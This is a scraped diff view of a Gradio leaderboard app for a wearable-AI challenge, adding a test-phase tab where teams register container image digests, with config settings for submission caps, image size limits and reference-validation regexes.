| 722 |
+
label="Division",
|
| 723 |
+
value="large",
|
| 724 |
+
info="By total params: Small ≤ 2B, Large 2B+.",
|
| 725 |
+
)
|
| 726 |
+
with gr.Row():
|
| 727 |
+
reg_model = gr.Textbox(
|
| 728 |
+
label="Model name",
|
| 729 |
+
placeholder="e.g. MyModel-2B",
|
| 730 |
+
info="Does not have to be the model you entered at validation.",
|
| 731 |
+
)
|
| 732 |
+
reg_params = gr.Number(
|
| 733 |
+
label="Total params (billions)",
|
| 734 |
+
value=None,
|
| 735 |
+
minimum=0,
|
| 736 |
+
info="For THIS sub-track, including any frozen backbone. Must "
|
| 737 |
+
"match the division.",
|
| 738 |
+
)
|
| 739 |
+
with gr.Row(elem_classes="submit-row"):
|
| 740 |
+
reg_btn = gr.Button(
|
| 741 |
+
"Register and show my credentials",
|
| 742 |
+
variant="primary",
|
| 743 |
+
scale=0,
|
| 744 |
+
interactive=config.TEST_PHASE_OPEN,
|
| 745 |
+
)
|
| 746 |
+
reg_out = gr.Markdown()
|
| 747 |
+
reg_btn.click(
|
| 748 |
+
do_test_register,
|
| 749 |
+
inputs=[
|
| 750 |
+
reg_team, reg_track, reg_division, reg_members, reg_poc,
|
| 751 |
+
reg_model, reg_params,
|
| 752 |
+
],
|
| 753 |
+
outputs=reg_out,
|
| 754 |
+
# One at a time: each disclosure appends a ledger row, and two
|
| 755 |
+
# concurrent claims from one team would write two rows for one event.
|
| 756 |
+
concurrency_limit=1,
|
| 757 |
+
)
|
| 758 |
+
# Populate the account box on load, so it is filled before the participant
|
| 759 |
+
# touches anything rather than after a failed submit.
|
| 760 |
+
demo.load(_signed_in_as, inputs=None, outputs=reg_user)
|
| 761 |
+
|
| 762 |
+
|
| 763 |
+
def test_submit_tab():
|
| 764 |
+
gr.Markdown("## Test phase")
|
| 765 |
+
gr.Markdown(
|
| 766 |
+
"The test split is held out, so you do not submit predictions: you submit a "
|
| 767 |
+
"**container image**, and the organizers run it against the test data on "
|
| 768 |
+
"their own hardware. **Open weights are required.**\n\n"
|
| 769 |
+
"Four steps, below. The first three are unlimited; only Step 4 spends one of "
|
| 770 |
+
f"your **{config.MAX_TEST_SUBMISSIONS_PER_TRACK} submissions per team per "
|
| 771 |
+
"sub-track**."
|
| 772 |
+
)
|
| 773 |
+
if not config.TEST_PHASE_OPEN:
|
| 774 |
+
gr.Markdown(
|
| 775 |
+
"**The test phase is not open yet.** These forms are here so you can "
|
| 776 |
+
"see what will be asked for. When the window opens, shortlisted teams "
|
| 777 |
+
"collect their registry credentials from Step 1 — there is no "
|
| 778 |
+
"invitation email to wait for."
|
| 779 |
+
)
|
| 780 |
+
# One sign-in for the whole tab. Both forms need it and it is the same
|
| 781 |
+
# session; two buttons on one page read as two different logins.
|
| 782 |
+
with gr.Row():
|
| 783 |
+
gr.LoginButton(scale=0)
|
| 784 |
+
|
| 785 |
+
test_register_section()
|
| 786 |
+
|
| 787 |
+
with gr.Accordion("Steps 2 and 3 — Build your image, then upload it", open=False):
|
| 788 |
+
gr.Markdown(_TEST_BUILD_UPLOAD_MD)
|
| 789 |
+
|
| 790 |
+
with gr.Accordion(
|
| 791 |
+
"Step 4 — Submit an image for evaluation", open=config.TEST_PHASE_OPEN
|
| 792 |
+
):
|
| 793 |
+
gr.Markdown(
|
| 794 |
+
"This is the capped step. Push your image to the ECR repository issued "
|
| 795 |
+
"in Step 1, then register its digest here. Queued and completed "
|
| 796 |
+
"submissions both count against the cap; ones we refuse before running "
|
| 797 |
+
"do not. Use **Validate format** to check your fields without spending "
|
| 798 |
+
"one.\n\n"
|
| 799 |
+
"We score the exact digest you register, so a later push to the same "
|
| 800 |
+
"repository does not change a submission already made."
|
| 801 |
+
)
|
| 802 |
+
with gr.Accordion("Details", open=False):
|
| 803 |
+
gr.Markdown(_TEST_SUBMIT_MD)
|
| 804 |
+
with gr.Row():
|
| 805 |
+
track = gr.Radio(config.TEST_TRACKS, label="Track", value="convqa",
|
| 806 |
+
info="Which task this image is for.")
|
| 807 |
+
division = gr.Radio(config.DIVISIONS, label="Division", value="large",
|
| 808 |
+
info="By total params: Small ≤ 2B, Large 2B+.")
|
| 809 |
+
with gr.Row():
|
| 810 |
+
team_name = gr.Textbox(label="Team name", placeholder="Shown on the board")
|
| 811 |
+
model_name = gr.Textbox(label="Model name", placeholder="e.g. MyModel-2B")
|
| 812 |
+
with gr.Row():
|
| 813 |
+
license_str = gr.Dropdown(
|
| 814 |
+
LICENSE_CHOICES, label="Model license — pick one or type your own",
|
| 815 |
+
value=None, allow_custom_value=True,
|
| 816 |
+
info="Not in the list? Type your license and press Enter.")
|
| 817 |
+
open_weight = gr.Checkbox(
|
| 818 |
+
label="Open weights", value=True, interactive=False,
|
| 819 |
+
info="Required in the test phase — closed-source entries are not eligible.")
|
| 820 |
+
with gr.Row():
|
| 821 |
+
total_params_b = gr.Number(label="Total params (billions)", value=None,
|
| 822 |
+
minimum=0)
|
| 823 |
+
active_params_b = gr.Number(label="Active params (billions)", value=None,
|
| 824 |
+
minimum=0)
|
| 825 |
+
|
| 826 |
+
with gr.Group(elem_classes="convqa-judge-box"):
|
| 827 |
+
gr.Markdown(_TEST_IMAGE_HELP)
|
| 828 |
+
|
| 829 |
+
# One field, full width. A digest is 64 hex characters and a repository
|
| 830 |
+
# URI is long, so side-by-side truncates both, and a truncated digest is
|
| 831 |
+
# one a participant cannot check.
|
| 832 |
+
image_ref = gr.Textbox(
|
| 833 |
+
label="Image reference",
|
| 834 |
+
placeholder=(
|
| 835 |
+
"123456789012.dkr.ecr.us-east-2.amazonaws.com/wearable-ai-2026/"
|
| 836 |
+
"your-team@sha256:" + "0" * 64
|
| 837 |
+
),
|
| 838 |
+
info=(
|
| 839 |
+
"Your repository plus the digest, as `<repo>@sha256:...`. Copy it "
|
| 840 |
+
"from what `docker push` printed."
|
| 841 |
+
if not config.TEST_ACCEPT_IMAGE_TAG
|
| 842 |
+
else "Your repository plus the tag you pushed (`<repo>:v1`) or the "
|
| 843 |
+
"digest (`<repo>@sha256:...`)."
|
| 844 |
+
),
|
| 845 |
+
)
|
| 846 |
+
# Kept so a participant following older instructions, which asked for the
|
| 847 |
+
# digest separately, is not turned away. Hidden: the reference above takes
|
| 848 |
+
# both parts now.
|
| 849 |
+
image_digest = gr.Textbox(label="Image digest", visible=False, value="")
|
| 850 |
+
|
| 851 |
+
with gr.Row(elem_classes="submit-row"):
|
| 852 |
+
validate_btn = gr.Button("Validate format (no submit)", scale=0)
|
| 853 |
+
btn = gr.Button("Submit for evaluation", variant="primary", scale=0,
|
| 854 |
+
interactive=config.TEST_PHASE_OPEN)
|
| 855 |
+
out = gr.Markdown()
|
| 856 |
+
|
| 857 |
+
validate_btn.click(
|
| 858 |
+
do_test_validate,
|
| 859 |
+
inputs=[track, division, total_params_b, active_params_b, image_ref,
|
| 860 |
+
image_digest],
|
| 861 |
+
outputs=out,
|
| 862 |
+
)
|
| 863 |
+
btn.click(
|
| 864 |
+
do_test_submit,
|
| 865 |
+
inputs=[
|
| 866 |
+
track, division, team_name, model_name, license_str, open_weight,
|
| 867 |
+
total_params_b, active_params_b, image_ref, image_digest,
|
| 868 |
+
],
|
| 869 |
+
outputs=out,
|
| 870 |
+
# Serialize so the per-track cap check cannot be raced by one team firing
|
| 871 |
+
# two registrations at once. The worker enforces the cap again anyway.
|
| 872 |
+
concurrency_limit=1,
|
| 873 |
+
)
|
| 874 |
+
|
| 875 |
+
|
| 876 |
+
def submit_tab():
|
| 877 |
+
# Same order as the Leaderboard tab, and for the same reason: the test
|
| 878 |
+
# phase is the live one now.
|
| 879 |
+
with gr.Tabs(elem_classes="phase-tabs"):
|
| 880 |
+
with gr.Tab("Test"):
|
| 881 |
+
test_submit_tab()
|
| 882 |
+
with gr.Tab("Validation"):
|
| 883 |
+
val_submit_tab()
|
| 884 |
+
|
| 885 |
+
|
| 886 |
+
def _iframe(phase, open_only, force=False, refresh_s=None):
|
| 887 |
"""Render the phase's leaderboard as a style-isolated <iframe srcdoc>."""
|
| 888 |
+
doc = results.board_document(_results_df(force), phase, open_only, refresh_s)
|
| 889 |
return (f'<iframe title="{phase} leaderboard" srcdoc="{html.escape(doc)}" '
|
| 890 |
f'scrolling="no" '
|
| 891 |
f'style="width:100%;border:0;display:block;min-height:200px"></iframe>')
|
| 892 |
|
| 893 |
|
| 894 |
+
def _phase_board(phase: str, interval: int | None, show_toggle: bool = True):
|
| 895 |
+
"""Iframe for one phase, with an optional open-weight toggle.
|
| 896 |
+
|
| 897 |
+
interval=None means no timer at all, for a phase that is closed: a frozen
|
| 898 |
+
board re-fetching every minute burns the Space's quota redrawing bytes that
|
| 899 |
+
cannot have changed, and refreshes a timestamp that no longer means
|
| 900 |
+
anything. The same value drives the footer, so what is advertised is what
|
| 901 |
+
was set.
|
| 902 |
+
"""
|
| 903 |
open_only = gr.Checkbox(value=False, label="Open-weight only") if show_toggle else None
|
| 904 |
board = gr.HTML(elem_classes="lb-frame")
|
| 905 |
if open_only is not None:
|
| 906 |
+
open_only.change(lambda o: _iframe(phase, o, refresh_s=interval),
|
| 907 |
+
inputs=open_only, outputs=board)
|
| 908 |
+
demo.load(lambda o: _iframe(phase, o, force=True, refresh_s=interval),
|
| 909 |
+
inputs=open_only, outputs=board)
|
| 910 |
+
if interval:
|
| 911 |
+
gr.Timer(interval).tick(
|
| 912 |
+
lambda o: _iframe(phase, o, force=True, refresh_s=interval),
|
| 913 |
+
inputs=open_only, outputs=board)
|
| 914 |
else:
|
| 915 |
+
demo.load(lambda: _iframe(phase, False, force=True, refresh_s=interval),
|
| 916 |
+
outputs=board)
|
| 917 |
+
if interval:
|
| 918 |
+
gr.Timer(interval).tick(
|
| 919 |
+
lambda: _iframe(phase, False, force=True, refresh_s=interval),
|
| 920 |
+
outputs=board)
|
| 921 |
|
| 922 |
|
| 923 |
def leaderboard_tab():
|
| 924 |
+
# Test first, so it sits left and is the sub-tab Gradio opens on: Gradio
|
| 925 |
+
# selects the first child, so the ordering is the whole mechanism.
|
| 926 |
with gr.Tabs(elem_classes="phase-tabs"):
|
|
|
|
|
|
|
| 927 |
with gr.Tab("Test"):
|
| 928 |
+
_phase_board("test", 300, show_toggle=False)
|
| 929 |
+
with gr.Tab("Validation"):
|
| 930 |
+
# Inside the sub-tab, not above it: the Test board is not closed,
|
| 931 |
+
# and a banner over both would say it was.
|
| 932 |
+
if not config.VAL_PHASE_OPEN:
|
| 933 |
+
gr.Markdown(config.VAL_CLOSED_NOTICE, elem_classes="phase-closed")
|
| 934 |
+
# No timer: the validation phase is closed, so the board is final.
|
| 935 |
+
_phase_board("val", None, show_toggle=False)
|
| 936 |
|
| 937 |
|
| 938 |
def _subs_iframe(profile: gr.OAuthProfile | None):
|
|
|
|
| 1107 |
border-radius: 12px !important; padding: 12px 16px !important; margin: 6px 0 10px !important;
|
| 1108 |
}
|
| 1109 |
.gradio-container .convqa-judge-box .md { color: #6b4e00 !important; }
|
| 1110 |
+
.phase-closed{background:#fff4e5;border-left:4px solid #e8912d;
|
| 1111 |
+
padding:10px 14px;border-radius:4px;margin:6px 0 14px}
|
| 1112 |
/* Right-align the Submit button. */
|
| 1113 |
.gradio-container .submit-row { justify-content: flex-end !important; }
|
| 1114 |
/* Tighten the Submit form too (Leaderboard stays wide). */
|
config.py
CHANGED
|
@@ -23,6 +23,22 @@ PHASE = "val" # validation phase; test phase reuses these schemas later.
|
|
| 23 |
|
| 24 |
TRACKS = ["convqa", "longqa", "proactive"]
|
| 25 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 26 |
# Pretty names for the UI.
|
| 27 |
TRACK_LABELS = {
|
| 28 |
"convqa": "EgoConv",
|
|
@@ -45,6 +61,112 @@ DIVISION_CAPS = {
|
|
| 45 |
"large": (2_000_000_000, float("inf")),
|
| 46 |
}
|
| 47 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 48 |
# --- Gold / submission constraints ---------------------------------------
|
| 49 |
N_GOLD = 700
|
| 50 |
MAX_SUBMISSIONS_PER_DAY = 5 # per (hf_user, track, division) = "subtrack", val phase.
|
|
|
|
| 23 |
|
| 24 |
TRACKS = ["convqa", "longqa", "proactive"]
|
| 25 |
|
| 26 |
+
# Why a track is not offered in the TEST phase. Delete an entry here and the
|
| 27 |
+
# track becomes available; TEST_TRACKS is derived, and nothing else changes.
|
| 28 |
+
#
|
| 29 |
+
# This is the ONE line to change. An earlier version of this file hardcoded
|
| 30 |
+
# TEST_TRACKS and claimed the same thing, which was false: a test pinned
|
| 31 |
+
# proactive absent, so widening the list alone failed the suite. Deriving the
|
| 32 |
+
# list means the test asserts the DERIVATION and follows automatically.
|
| 33 |
+
# Tracks not offered in the TEST phase. Add an entry to block one; TEST_TRACKS
|
| 34 |
+
# is derived, so that is the only edit needed.
|
| 35 |
+
TEST_TRACKS_BLOCKED: dict[str, str] = {}
|
| 36 |
+
|
| 37 |
+
# Tracks the TEST phase can actually score. Offering one we cannot score would
|
| 38 |
+
# let a team register a submission that burns one of their three per-track
|
| 39 |
+
# slots and returns nothing, so the cost of the gap falls on the participant.
|
| 40 |
+
TEST_TRACKS = [t for t in TRACKS if t not in TEST_TRACKS_BLOCKED]
|
| 41 |
+
|
| 42 |
# Pretty names for the UI.
|
| 43 |
TRACK_LABELS = {
|
| 44 |
"convqa": "EgoConv",
|
|
|
|
| 61 |
"large": (2_000_000_000, float("inf")),
|
| 62 |
}
|
| 63 |
|
| 64 |
+
# --- Test phase -----------------------------------------------------------
|
| 65 |
+
# The test phase does not take predictions. Shortlisted teams push a container
|
| 66 |
+
# image to their own ECR repository and REGISTER its digest here; the organizers'
|
| 67 |
+
# worker pulls that digest, runs it against the held-out split on the cluster and
|
| 68 |
+
# publishes the score. Registration rather than the registry is the throttle: a
|
| 69 |
+
# team can push all it likes, and nothing is evaluated until it is registered.
|
| 70 |
+
# Whether the Submit tab still accepts validation predictions. Defaults CLOSED,
|
| 71 |
+
# so the freeze takes effect the moment this ships and does not depend on anyone
|
| 72 |
+
# remembering to set a secret. Set VAL_PHASE_OPEN=1 to reopen it.
|
| 73 |
+
#
|
| 74 |
+
# The button being greyed out is not the control: submit.validate_and_submit()
|
| 75 |
+
# checks this too, because a disabled button is a suggestion and the endpoint is
|
| 76 |
+
# still reachable.
|
| 77 |
+
VAL_PHASE_OPEN = os.environ.get("VAL_PHASE_OPEN", "").lower() in ("1", "true", "yes")
|
| 78 |
+
|
| 79 |
+
# Rendered INSIDE the Validation sub-tab on both the Leaderboard and the Submit
|
| 80 |
+
# tab, never above the sub-tabs: the Test phase is not closed, and a banner
|
| 81 |
+
# outside them would say it was. It therefore says nothing about "below" or
|
| 82 |
+
# "above" either, since it has to read correctly in both places.
|
| 83 |
+
VAL_CLOSED_NOTICE = (
|
| 84 |
+
"**The Validation Phase is closed.** The validation leaderboard is final "
|
| 85 |
+
"and no further validation predictions are accepted. Shortlisted teams "
|
| 86 |
+
"continue in the Test Phase, under **Test** on the Submit tab."
|
| 87 |
+
)
|
| 88 |
+
|
| 89 |
+
TEST_PHASE = "test"
|
| 90 |
+
|
| 91 |
+
# Whether the Submit tab accepts test-phase registrations. Off until the test
|
| 92 |
+
# window opens, so the tab can ship ahead of it; flip with a Space secret rather
|
| 93 |
+
# than a code change.
|
| 94 |
+
TEST_PHASE_OPEN = os.environ.get("TEST_PHASE_OPEN", "").lower() in ("1", "true", "yes")
|
| 95 |
+
|
| 96 |
+
# Scored submissions a team may register per TRACK (not per subtrack, and not per
|
| 97 |
+
# day as the val phase is): a team's model has one size, so track and subtrack are
|
| 98 |
+
# the same in practice here. This is the board-side half of the cap; the worker
|
| 99 |
+
# enforces the same number independently, because the board cannot be the only
|
| 100 |
+
# gate on work that costs GPU time.
|
| 101 |
+
MAX_TEST_SUBMISSIONS_PER_TRACK = 3
|
| 102 |
+
|
| 103 |
+
# Which request states hold one of those slots. A submission that was refused
|
| 104 |
+
# before anything ran (REJECTED) does not; one that ran and failed to score
|
| 105 |
+
# (FAILED) does, because it consumed the compute. Keep this identical to
|
| 106 |
+
# count_prior_submissions() in the organizers' test_phase_worker.py.
|
| 107 |
+
TEST_SLOT_STATUSES = ("PENDING", "FINISHED", "FAILED")
|
| 108 |
+
|
| 109 |
+
# Per-division image size ceiling, enforced here at registration and again by the
|
| 110 |
+
# worker from the ECR manifest before any pull. Keep in step with
|
| 111 |
+
# DEFAULT_SIZE_CAPS_GB in test_phase_worker.py and participant/validate_image.sh.
|
| 112 |
+
TEST_IMAGE_SIZE_CAPS_GB = {"small": 10, "large": 200}
|
| 113 |
+
|
| 114 |
+
# The size we publish to participants: one number for both divisions, stated as
|
| 115 |
+
# the compressed size in the registry (the number `docker push` reports), not the
|
| 116 |
+
# uncompressed size on disk. Over it, a team asks for an exception rather than
|
| 117 |
+
# being blocked by the form.
|
| 118 |
+
TEST_IMAGE_ADVERTISED_GB = 100
|
| 119 |
+
|
| 120 |
+
# Minimum declared total parameter count accepted at test-phase registration, in
|
| 121 |
+
# whole parameters, including any frozen backbone. Zero means no floor, which is
|
| 122 |
+
# the current state: whether to apply one is an OPEN organizer decision, driven
|
| 123 |
+
# by validation entries that declared 91k and 1M parameters at near-perfect
|
| 124 |
+
# EgoProactive scores. Setting this constant is the whole change.
|
| 125 |
+
TEST_REGISTRATION_MIN_TOTAL_PARAMS = 0
|
| 126 |
+
|
| 127 |
+
# How far the size declared at test-phase registration may differ from the one
|
| 128 |
+
# the team declared at validation before we say something. A team is allowed to
|
| 129 |
+
# bring a different model, so a change is expected and is never refused; this
|
| 130 |
+
# only decides when a NOTE is shown and the row is flagged. An order of
|
| 131 |
+
# magnitude catches the case worth catching, which is a unit slip (millions
|
| 132 |
+
# typed into a billions box). Set to 0 to disable the note entirely.
|
| 133 |
+
TEST_REGISTRATION_SIZE_DISCREPANCY_FACTOR = 10
|
| 134 |
+
|
| 135 |
+
# A registry reference we are willing to pull from. Anchored on purpose: the
|
| 136 |
+
# reference reaches a subprocess on the organizers' side, so anything that is not
|
| 137 |
+
# plainly an ECR repository path is refused here rather than escaped later. These
|
| 138 |
+
# two patterns are the same as _ECR_REF / _DIGEST in test_phase_worker.py; a
|
| 139 |
+
# reference this accepts and the worker rejects would strand the team with a
|
| 140 |
+
# submission that can never be scored.
|
| 141 |
+
ECR_REF_RE = (
|
| 142 |
+
r"^(?P<registry>\d{12}\.dkr\.ecr\.[a-z0-9-]+\.amazonaws\.com)"
|
| 143 |
+
r"/(?P<repository>[a-z0-9][a-z0-9._/-]*[a-z0-9])$"
|
| 144 |
+
)
|
| 145 |
+
DIGEST_RE = r"^sha256:[0-9a-f]{64}$"
|
| 146 |
+
|
| 147 |
+
# An image TAG. Docker's own rule: up to 128 of word character, dot or dash,
|
| 148 |
+
# not starting with a dot or dash. Anchored like the two above, because this
|
| 149 |
+
# value reaches a subprocess on the organizers' side.
|
| 150 |
+
#
|
| 151 |
+
# A tag is accepted as an alternative to a digest because participant
|
| 152 |
+
# repositories are created with --image-tag-mutability IMMUTABLE and the
|
| 153 |
+
# per-team policy grants no ecr:Delete*, so a tag cannot be overwritten and
|
| 154 |
+
# cannot be freed and re-pushed. On this setup `repo:v1` names one image
|
| 155 |
+
# permanently. The worker still resolves it to a digest at intake and records
|
| 156 |
+
# that, so provenance stays digest-based; this only changes what a participant
|
| 157 |
+
# has to type.
|
| 158 |
+
TAG_RE = r"^[A-Za-z0-9_][A-Za-z0-9._-]{0,127}$"
|
| 159 |
+
|
| 160 |
+
# Whether the Submit form accepts a TAG instead of a digest.
|
| 161 |
+
#
|
| 162 |
+
# OFF until the worker can resolve one. The worker validates image_digest
|
| 163 |
+
# against its own ^sha256:...$ and would reject a tag at intake, so accepting
|
| 164 |
+
# one here first would let a participant spend a submission on a reference that
|
| 165 |
+
# can never be scored. Flip this in the same change that teaches the worker to
|
| 166 |
+
# resolve tag -> digest via `aws ecr describe-images --image-ids imageTag=`,
|
| 167 |
+
# not before. The Space side is already written and tested behind it.
|
| 168 |
+
TEST_ACCEPT_IMAGE_TAG = False
|
| 169 |
+
|
| 170 |
# --- Gold / submission constraints ---------------------------------------
|
| 171 |
N_GOLD = 700
|
| 172 |
MAX_SUBMISSIONS_PER_DAY = 5 # per (hf_user, track, division) = "subtrack", val phase.
|
register_test.py
ADDED
|
@@ -0,0 +1,741 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
